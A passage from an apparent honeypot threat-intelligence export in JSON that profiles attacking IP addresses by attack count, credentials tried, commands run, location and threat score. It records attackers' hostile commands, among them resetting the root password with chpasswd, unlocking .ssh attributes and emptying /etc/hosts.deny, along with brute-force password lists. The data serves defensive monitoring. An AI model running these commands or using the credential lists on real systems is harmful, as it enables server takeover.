        "Password333",
        "QAZwsx!@#",
        "asdfghjk1234567",
        "asdfghjkl0",
        "ejt_m_v25",
        "kang.2026..",
        "nihaoma",
        "palamos%^",
        "peter",
        "qwer1234!@#$",
        "root@1234567890",
        "text",
        "toor1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0lrrIPcJnNtK\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141892,
      "as_org": "CV Andhika Pratama Sanggoro",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T21:07:33.293000+00:00",
        "last_seen_30d": "2026-04-27T21:59:23.426000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "150.5.169.138": {
      "attack_count": 168,
      "first_seen": "2026-04-27T17:21:11.560Z",
      "last_seen": "2026-04-27T17:55:18.364Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "4513adkK",
        "Huanying2026",
        "Inspur_2024@Win",
        "Long2024",
        "P@ss123",
        "Qw@123456",
        "Ucas@orionx2024",
        "[root]",
        "amit@123",
        "apache03",
        "asdfg1234%",
        "beautiful",
        "dsfdsgfhjghkjlkhjgfgdfdssfdgfhgfdgf",
        "esqooel.com",
        "letmein",
        "nagiosnagios",
        "root111",
        "serverroot123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:i53P0laedUX3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:21:11.560000+00:00",
        "last_seen_30d": "2026-04-27T17:56:26.369000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "103.226.139.207": {
      "attack_count": 118,
      "first_seen": "2026-04-01T09:23:29.193Z",
      "last_seen": "2026-04-01T09:57:04.507Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "%TGB",
        "3245gs5662d34",
        "334455",
        "345gs5662d34",
        "3edrf",
        "741852",
        "Qwert12",
        "Qwerty@#$",
        "Test2024",
        "admin12",
        "qwer1234567890",
        "test2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:T6wUzRDdxJos\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T09:23:29.193000+00:00",
        "last_seen_30d": "2026-04-01T09:58:14.405000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "35.233.51.218": {
      "attack_count": 71,
      "first_seen": "2026-04-18T18:15:16.645Z",
      "last_seen": "2026-04-18T18:15:59.491Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 9278",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T18:15:16.645000+00:00",
        "last_seen_30d": "2026-04-18T18:17:09.264000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "14.63.225.172": {
      "attack_count": 53,
      "first_seen": "2026-04-10T13:55:45.640Z",
      "last_seen": "2026-04-11T15:29:06.887Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "user"
      ],
      "passwords_attempted": [
        "123$Kelltech",
        "1234$Kelltech",
        "@2026Kelltech",
        "Admin@2026",
        "Kelltech!1",
        "admin123",
        "kelltech2022!",
        "kelltech2024.",
        "kelltech2026!",
        "kelltech@2025"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:55:45.640000+00:00",
        "last_seen_30d": "2026-04-11T15:30:16.150000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 30
      }
    },
    "196.74.133.73": {
      "attack_count": 50,
      "first_seen": "2026-04-16T10:57:14.380Z",
      "last_seen": "2026-04-16T11:02:38.587Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Marrakesh",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T10:57:14.380000+00:00",
        "last_seen_30d": "2026-04-16T11:03:42.787000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.18.148": {
      "attack_count": 50,
      "first_seen": "2026-04-22T19:18:00.179Z",
      "last_seen": "2026-04-22T19:23:24.616Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhelum",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T19:18:00.179000+00:00",
        "last_seen_30d": "2026-04-22T19:24:30.126000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "34.126.176.149": {
      "attack_count": 46,
      "first_seen": "2026-04-10T13:17:32.789Z",
      "last_seen": "2026-04-11T08:15:31.524Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "user"
      ],
      "passwords_attempted": [
        "!1234Kelltech",
        "1",
        "123Kelltech",
        "1@Kelltech",
        "@1Kelltech",
        "Kelltech#1",
        "kelltech1234!",
        "p@ssw0rd@123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:17:32.789000+00:00",
        "last_seen_30d": "2026-04-11T08:16:32.037000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "182.117.54.10": {
      "attack_count": 44,
      "first_seen": "2026-04-24T13:05:14.015Z",
      "last_seen": "2026-04-24T13:10:00.290Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T13:05:14.015000+00:00",
        "last_seen_30d": "2026-04-24T13:11:06.449000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "45.135.193.118": {
      "attack_count": 42,
      "first_seen": "2026-04-21T18:56:39.855Z",
      "last_seen": "2026-04-21T18:57:03.147Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Langen",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 40.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 5.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 7,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-18T20:41:52.456000+00:00",
        "last_seen_30d": "2026-04-24T00:54:16.149000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Cowrie": 28,
        "Honeytrap": 6
      }
    },
    "165.245.169.91": {
      "attack_count": 40,
      "first_seen": "2026-04-02T22:16:44.266Z",
      "last_seen": "2026-04-02T22:36:30.615Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "eth",
        "ethereum",
        "node",
        "sol",
        "solana"
      ],
      "passwords_attempted": [
        "eth",
        "ethereum",
        "node",
        "root",
        "sol",
        "solana",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Sandston",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:15:45.297000+00:00",
        "last_seen_30d": "2026-04-02T22:46:39.524000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "103.123.227.130": {
      "attack_count": 37,
      "first_seen": "2026-04-25T07:59:45.186Z",
      "last_seen": "2026-04-25T19:10:27.059Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Thane",
      "asn": 138296,
      "as_org": "Juweriyah Networks Private Limited",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T07:59:45.186000+00:00",
        "last_seen_30d": "2026-04-25T19:11:35.906000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 26
      }
    },
    "98.11.10.192": {
      "attack_count": 36,
      "first_seen": "2026-04-16T01:38:44.428Z",
      "last_seen": "2026-04-16T01:44:58.573Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kennebunk",
      "asn": 11351,
      "as_org": "Charter Communications Inc",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T01:38:44.428000+00:00",
        "last_seen_30d": "2026-04-16T01:55:51.953000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "43.252.231.122": {
      "attack_count": 35,
      "first_seen": "2026-04-16T19:03:28.247Z",
      "last_seen": "2026-04-29T00:14:59.381Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 57.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 16.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 20,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-10T20:26:07.723000+00:00",
        "last_seen_30d": "2026-04-29T00:16:05.470000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 124,
        "Tanner": 92,
        "Cowrie": 35
      }
    },
    "82.24.64.32": {
      "attack_count": 35,
      "first_seen": "2026-04-15T11:05:06.753Z",
      "last_seen": "2026-04-28T21:31:09.262Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi",
        "P",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 395793,
      "as_org": "Arisk Communications inc.",
      "threat_score": 75.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.5,
        "persistence": 23.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 28,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T02:17:35+00:00",
        "last_seen_30d": "2026-04-30T05:35:47.061000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Tanner": 46,
        "Cowrie": 35,
        "Honeytrap": 4
      }
    },
    "144.48.135.39": {
      "attack_count": 34,
      "first_seen": "2026-04-23T19:15:45.725Z",
      "last_seen": "2026-04-23T19:19:33.105Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T19:15:45.725000+00:00",
        "last_seen_30d": "2026-04-23T19:20:36.780000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "45.148.10.152": {
      "attack_count": 28,
      "first_seen": "2026-04-02T01:02:23.918Z",
      "last_seen": "2026-04-27T04:03:09.367Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T01:02:23.918000+00:00",
        "last_seen_30d": "2026-04-27T04:04:16.802000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "124.40.252.186": {
      "attack_count": 26,
      "first_seen": "2026-04-30T22:27:22.346Z",
      "last_seen": "2026-04-30T22:29:46.387Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 45305,
      "as_org": "Lintas Data Prima, PT",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:27:22.346000+00:00",
        "last_seen_30d": "2026-04-30T22:30:54.741000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "144.48.130.9": {
      "attack_count": 24,
      "first_seen": "2026-04-06T06:22:35.443Z",
      "last_seen": "2026-04-06T06:25:10.862Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T06:22:35.443000+00:00",
        "last_seen_30d": "2026-04-06T06:26:13.113000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "207.154.197.196": {
      "attack_count": 24,
      "first_seen": "2026-04-14T10:07:12.044Z",
      "last_seen": "2026-04-14T11:31:54.106Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 6,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T19:07:57.109000+00:00",
        "last_seen_30d": "2026-04-14T11:42:02.998000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Cowrie": 24,
        "Honeytrap": 24
      }
    },
    "221.228.10.226": {
      "attack_count": 22,
      "first_seen": "2026-04-17T04:29:07.740Z",
      "last_seen": "2026-04-20T17:48:53.659Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T04:29:07.740000+00:00",
        "last_seen_30d": "2026-04-20T17:49:59.518000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 13
      }
    },
    "167.99.140.61": {
      "attack_count": 21,
      "first_seen": "2026-04-07T04:30:47.950Z",
      "last_seen": "2026-04-17T05:17:09.638Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.4,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 13,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 5,
